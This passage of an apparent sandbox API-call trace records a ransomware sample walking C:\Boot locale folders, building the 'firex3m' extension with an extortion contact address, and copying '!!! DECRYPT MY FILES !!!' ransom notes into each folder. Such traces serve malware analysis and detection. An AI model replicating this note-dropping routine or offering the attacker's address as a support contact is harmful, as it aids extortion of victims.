cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0094.505] FindNextFileW (in: hFindFile=0x6d4e00, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef511a4c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-CZ", cAlternateFileName="")) returned 1 [0094.505] SysReAllocStringLen (in: pbstr=0x6ebf3a0*=0x0, psz="C:\\Boot\\cs-CZ\\", len=0xe | out: pbstr=0x6ebf3a0*="C:\\Boot\\cs-CZ\\") returned 1 [0094.506] CharLowerBuffW (in: lpsz="C:\\Boot\\cs-CZ\\", cchLength=0xe | out: lpsz="c:\\boot\\cs-cz\\") returned 0xe [0094.506] SysReAllocStringLen (in: pbstr=0x6ebf348*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebf348*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0094.506] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0094.506] FindFirstFileW (in: lpFileName="C:\\Boot\\cs-CZ\\*.*", lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef511a4c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d4e40 [0094.506] FindNextFileW (in: hFindFile=0x6d4e40, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef511a4c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0094.507] FindNextFileW (in: hFindFile=0x6d4e40, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47e189c, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2109581d, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0094.507] SysReAllocStringLen (in: pbstr=0x6ebf398*=0x0, psz="C:\\Boot\\cs-CZ\\bootmgr.exe.mui", len=0x1d | out: pbstr=0x6ebf398*="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 1 [0094.507] CharLowerBuffW (in: lpsz="C:\\Boot\\cs-CZ\\bootmgr.exe.mui", cchLength=0x1d | out: lpsz="c:\\boot\\cs-cz\\bootmgr.exe.mui") returned 0x1d [0094.507] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0094.507] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0094.507] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0094.507] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0094.507] FindNextFileW (in: hFindFile=0x6d4e40, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f1d4cf, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0094.507] SysReAllocStringLen (in: pbstr=0x6ebf398*="c:\\boot\\cs-cz\\bootmgr.exe.mui", psz="C:\\Boot\\cs-CZ\\memtest.exe.mui", len=0x1d | out: pbstr=0x6ebf398*="C:\\Boot\\cs-CZ\\memtest.exe.mui") returned 1 [0094.507] CharLowerBuffW (in: lpsz="C:\\Boot\\cs-CZ\\memtest.exe.mui", cchLength=0x1d | out: lpsz="c:\\boot\\cs-cz\\memtest.exe.mui") returned 0x1d [0094.507] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0094.507] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0094.507] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0094.507] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0094.508] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe33c, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txt") returned 28 [0094.508] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x64e230, cbMultiByte=17, lpWideCharStr=0x6ebe338, cchWideChar=2047 | out: lpWideCharStr="TEEWLJH3QNDSEELUTFILES !!!.txt") returned 17 [0094.508] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT", lpFindFileData=0x6ebf0a4 | out: lpFindFileData=0x6ebf0a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf971581b, ftCreationTime.dwHighDateTime=0x1d5e216, ftLastAccessTime.dwLowDateTime=0xf971581b, ftLastAccessTime.dwHighDateTime=0x1d5e216, ftLastWriteTime.dwLowDateTime=0xf971581b, ftLastWriteTime.dwHighDateTime=0x1d5e216, nFileSizeHigh=0x0, nFileSizeLow=0x12f, dwReserved0=0xc47bb525, dwReserved1=0x778947df, cFileName="TEEWLJH3QNDSEELUT", cAlternateFileName="TEEWLJ~1")) returned 0x6d4ec0 [0094.508] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0094.508] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Boot\\cs-CZ\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\boot\\cs-cz\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0094.513] GetProcessHeap () returned 0x630000 [0094.513] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6d51c0, Size=0x38) returned 0x6d5540 [0094.513] FindNextFileW (in: hFindFile=0x6d4e40, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0094.513] FindClose (in: hFindFile=0x6d4e40 | out: hFindFile=0x6d4e40) returned 1 [0094.513] FindNextFileW (in: hFindFile=0x6d4e00, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0008dbb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5252b3, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1 [0094.513] SysReAllocStringLen (in: pbstr=0x6ebf3a0*=0x0, psz="C:\\Boot\\da-DK\\", len=0xe | out: pbstr=0x6ebf3a0*="C:\\Boot\\da-DK\\") returned 1 [0094.513] CharLowerBuffW (in: lpsz="C:\\Boot\\da-DK\\", cchLength=0xe | out: lpsz="c:\\boot\\da-dk\\") returned 0xe [0094.513] SysReAllocStringLen (in: pbstr=0x6ebf348*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebf348*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0094.513] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0094.514] FindFirstFileW (in: lpFileName="C:\\Boot\\da-DK\\*.*", lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0008dbb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5252b3, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d4e40 [0094.514] FindNextFileW (in: hFindFile=0x6d4e40, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0008dbb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5252b3, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0094.514] FindNextFileW (in: hFindFile=0x6d4e40, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47e189c, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12760, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0094.514] SysReAllocStringLen (in: pbstr=0x6ebf398*=0x0, psz="C:\\Boot\\da-DK\\bootmgr.exe.mui", len=0x1d | out: pbstr=0x6ebf398*="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 1 [0094.514] CharLowerBuffW (in: lpsz="C:\\Boot\\da-DK\\bootmgr.exe.mui", cchLength=0x1d | out: lpsz="c:\\boot\\da-dk\\bootmgr.exe.mui") returned 0x1d [0094.515] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0094.515] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0094.515] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0094.515] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0094.515] FindNextFileW (in: hFindFile=0x6d4e40, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5252b3, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2ef7268, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0094.515] SysReAllocStringLen (in: pbstr=0x6ebf398*="c:\\boot\\da-dk\\bootmgr.exe.mui", psz="C:\\Boot\\da-DK\\memtest.exe.mui", len=0x1d | out: pbstr=0x6ebf398*="C:\\Boot\\da-DK\\memtest.exe.mui") returned 1 [0094.515] CharLowerBuffW (in: lpsz="C:\\Boot\\da-DK\\memtest.exe.mui", cchLength=0x1d | out: lpsz="c:\\boot\\da-dk\\memtest.exe.mui") returned 0x1d [0094.515] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0094.516] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0094.516] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0094.516] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0094.517] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe33c, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txt") returned 28 [0094.517] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x64e230, cbMultiByte=17, lpWideCharStr=0x6ebe338, cchWideChar=2047 | out: lpWideCharStr="TEEWLJH3QNDSEELUTFILES !!!.txt") returned 17 [0094.517] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT", lpFindFileData=0x6ebf0a4 | out: lpFindFileData=0x6ebf0a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf971581b, ftCreationTime.dwHighDateTime=0x1d5e216, ftLastAccessTime.dwLowDateTime=0xf971581b, ftLastAccessTime.dwHighDateTime=0x1d5e216, ftLastWriteTime.dwLowDateTime=0xf971581b, ftLastWriteTime.dwHighDateTime=0x1d5e216, nFileSizeHigh=0x0, nFileSizeLow=0x12f, dwReserved0=0xc47e189c, dwReserved1=0x778947df, cFileName="TEEWLJH3QNDSEELUT", cAlternateFileName="TEEWLJ~1")) returned 0x6d51c0 [0094.517] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0094.517] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Boot\\da-DK\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\boot\\da-dk\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0094.524] GetProcessHeap () returned 0x630000 [0094.524] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6d5540, Size=0x3c) returned 0x69b258 [0094.524] FindNextFileW (in: hFindFile=0x6d4e40, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0094.524] FindClose (in: hFindFile=0x6d4e40 | out: hFindFile=0x6d4e40) returned 1 [0094.525] FindNextFileW (in: hFindFile=0x6d4e00, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0009692, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef538bee, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1 [0094.525] SysReAllocStringLen (in: pbstr=0x6ebf3a0*=0x0, psz="C:\\Boot\\de-DE\\", len=0xe | out: pbstr=0x6ebf3a0*="C:\\Boot\\de-DE\\") returned 1 [0094.525] CharLowerBuffW (in: lpsz="C:\\Boot\\de-DE\\", cchLength=0xe | out: lpsz="c:\\boot\\de-de\\") returned 0xe [0094.525] SysReAllocStringLen (in: pbstr=0x6ebf348*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebf348*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0094.525] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0094.525] FindFirstFileW (in: lpFileName="C:\\Boot\\de-DE\\*.*", lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0009692, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef538bee, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d4f00 [0094.525] FindNextFileW (in: hFindFile=0x6d4f00, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0009692, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef538bee, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0094.525] FindNextFileW (in: hFindFile=0x6d4f00, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48079da, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13560, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0094.526] SysReAllocStringLen (in: pbstr=0x6ebf398*=0x0, psz="C:\\Boot\\de-DE\\bootmgr.exe.mui", len=0x1d | out: pbstr=0x6ebf398*="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 1 [0094.526] CharLowerBuffW (in: lpsz="C:\\Boot\\de-DE\\bootmgr.exe.mui", cchLength=0x1d | out: lpsz="c:\\boot\\de-de\\bootmgr.exe.mui") returned 0x1d [0094.526] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0094.526] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0094.526] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0094.526] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0094.526] FindNextFileW (in: hFindFile=0x6d4f00, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef538bee, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2ef7268, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0094.527] SysReAllocStringLen (in: pbstr=0x6ebf398*="c:\\boot\\de-de\\bootmgr.exe.mui", psz="C:\\Boot\\de-DE\\memtest.exe.mui", len=0x1d | out: pbstr=0x6ebf398*="C:\\Boot\\de-DE\\memtest.exe.mui") returned 1 [0094.527] CharLowerBuffW (in: lpsz="C:\\Boot\\de-DE\\memtest.exe.mui", cchLength=0x1d | out: lpsz="c:\\boot\\de-de\\memtest.exe.mui") returned 0x1d [0094.527] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0094.527] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0094.527] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0094.527] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0094.527] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe33c, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txt") returned 28 [0094.527] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x64e230, cbMultiByte=17, lpWideCharStr=0x6ebe338, cchWideChar=2047 | out: lpWideCharStr="TEEWLJH3QNDSEELUTFILES !!!.txt") returned 17 [0094.527] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT", lpFindFileData=0x6ebf0a4 | out: lpFindFileData=0x6ebf0a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf971581b, ftCreationTime.dwHighDateTime=0x1d5e216, ftLastAccessTime.dwLowDateTime=0xf971581b, ftLastAccessTime.dwHighDateTime=0x1d5e216, ftLastWriteTime.dwLowDateTime=0xf971581b, ftLastWriteTime.dwHighDateTime=0x1d5e216, nFileSizeHigh=0x0, nFileSizeLow=0x12f, dwReserved0=0xc48079da, dwReserved1=0x778947df, cFileName="TEEWLJH3QNDSEELUT", cAlternateFileName="TEEWLJ~1")) returned 0x6d52c0 [0094.527] FindClose (in: hFindFile=0x6d52c0 | out: hFindFile=0x6d52c0) returned 1 [0094.527] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Boot\\de-DE\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\boot\\de-de\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0094.531] GetProcessHeap () returned 0x630000 [0094.531] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x69b258, Size=0x40) returned 0x69ad48 [0094.532] FindNextFileW (in: hFindFile=0x6d4f00, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0094.532] FindClose (in: hFindFile=0x6d4f00 | out: hFindFile=0x6d4f00) returned 1 [0094.532] FindNextFileW (in: hFindFile=0x6d4e00, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef555ff8, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1 [0094.532] SysReAllocStringLen (in: pbstr=0x6ebf3a0*=0x0, psz="C:\\Boot\\el-GR\\", len=0xe | out: pbstr=0x6ebf3a0*="C:\\Boot\\el-GR\\") returned 1 [0094.532] CharLowerBuffW (in: lpsz="C:\\Boot\\el-GR\\", cchLength=0xe | out: lpsz="c:\\boot\\el-gr\\") returned 0xe [0094.532] SysReAllocStringLen (in: pbstr=0x6ebf348*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebf348*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0094.532] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0094.532] FindFirstFileW (in: lpFileName="C:\\Boot\\el-GR\\*.*", lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x10, 